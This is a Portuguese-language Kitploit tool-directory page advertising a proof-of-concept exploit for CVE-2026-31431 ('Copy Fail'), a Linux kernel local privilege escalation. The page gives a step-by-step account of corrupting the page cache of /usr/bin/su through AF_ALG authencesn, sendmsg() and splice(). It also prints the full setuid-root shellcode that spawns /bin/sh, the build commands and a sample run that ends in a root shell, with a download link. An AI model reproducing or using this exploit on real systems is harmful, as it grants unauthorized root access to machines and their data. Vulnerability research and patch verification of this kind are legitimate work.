Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
copyfail — CVE-2026-31431 (Copy Fail) PoC - Corrupção do page cache do kernel Linux via authencesn AF_ALG + splice() | Kitploit
Ferramentas/GitHubGitHub/smarttfoxx/copyfail
Escalada de PrivilégiosFrameworks de ExploraçãoAnálise de VulnerabilidadesExploraçãoDesenvolvimento de PayloadsExploração de Binários
GitHubsmarttfoxx/copyfail

copyfail

CVE-2026-31431 (Copy Fail) PoC - Corrupção do page cache do kernel Linux via authencesn AF_ALG + splice()

Ver Repositório
207há 3 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Copy Fail - PoC da CVE-2026-31431 em C

Exploit de escalonamento de privilégios local para CVE-2026-31431 (Copy Fail), escrito em C.

Como Funciona

  1. Parsing de ELF: resolve o endereço virtual do ponto de entrada do /usr/bin/su para um offset de arquivo via cabeçalhos de programa PT_LOAD
  2. Configuração do AF_ALG: faz bind em authencesn(hmac(sha256),cbc(aes)) com uma chave zero
  3. Escritas de 4 bytes no page cache: para cada bloco do payload do shellcode:
    • sendmsg() envia AAD com os bytes do shellcode como seqno_lo (bytes 4-7), com MSG_MORE
    • splice() entrega 32 bytes das páginas do page cache do arquivo alvo como a tag de autenticação AEAD
    • recv() aciona a descriptografia; a escrita temporária do authencesn cai nas páginas encadeadas do page cache, gravando 4 bytes controlados.
  4. Escalonamento de privilégios: execl("/usr/bin/su") carrega o page cache corrompido. O shellcode de 40 bytes (setuid(0) + execve("/bin/sh")) é executado como setuid-root

Shellcode

root@kitploit:~
xor    edi, edi            ; uid = 0
mov    eax, 105            ; sys_setuid
syscall
xor    edx, edx            ; envp = NULL
push   rdx                 ; terminador nulo
movabs rax, "/bin/sh"      ; "/bin/sh\0"
push   rax
mov    rdi, rsp            ; filename
push   rdx                 ; NULL (argv[1])
push   rdi                 ; argv[0]
mov    rsi, rsp            ; argv
mov    eax, 59             ; sys_execve
syscall

Compilação

Requer musl-gcc ou qualquer compilador C com suporte a linkagem estática:

root@kitploit:~
musl-gcc -static -O2 -s -o copyfail exploit.c

Alternativamente, com GCC + glibc:

root@kitploit:~
gcc -static -O2 -s -o copyfail exploit.c

Uso

root@kitploit:~
$ ./copyfail
[*] CVE-2026-31431 PoC (Copy Fail)
[*] /usr/bin/su entry @ file offset 0x78
[*] Patching page cache (40 bytes, 10 writes)
..........
[+] Executing /usr/bin/su
# id
uid=0(root) gid=1000(user) groups=1000(user)

Referências

  • Copy Fail: 732 Bytes to Root on Every Major Linux Distribution
  • Fix commit a664bf3d
  • Introduced by commit 72548b093ee3 (2017)

Aviso Legal

Esta prova de conceito é fornecida apenas para pesquisa de segurança autorizada e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal.

Baixar ferramenta